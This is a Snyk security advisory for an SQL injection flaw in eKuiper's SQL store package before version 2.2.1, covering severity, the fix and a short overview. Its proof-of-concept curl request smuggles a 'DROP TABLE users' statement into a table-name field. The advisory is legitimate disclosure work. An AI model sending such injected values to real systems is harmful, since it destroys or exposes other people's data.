SQL Injection Affecting github.com/lf-edge/ekuiper/internal/pkg/store/sql package, versions <2.2.1


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.06% (19th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMLFEDGEEKUIPERINTERNALPKGSTORESQL-11023536
  • published28 Jul 2025
  • disclosed24 Jul 2025
  • creditZeroday BYTE

Introduced: 24 Jul 2025

CVE-2025-54379  (opens in a new tab)
CWE-89  (opens in a new tab)

How to fix?

Upgrade github.com/lf-edge/ekuiper/internal/pkg/store/sql to version 2.2.1 or higher.

Overview

Affected versions of this package are vulnerable to SQL Injection via the getLast API when processing user-supplied table names. An attacker can execute arbitrary SQL statements on the underlying database by sending crafted API requests, potentially resulting in data theft, corruption, deletion, or full database compromise.

PoC

   curl -X POST http://localhost:9081/sql-query \
     -H "Content-Type: application/json" \
     -d '{
       "table": "sensors; DROP TABLE users; --",
       "operation": "getLast"
     }'

References

CVSS Base Scores

version 4.0
version 3.1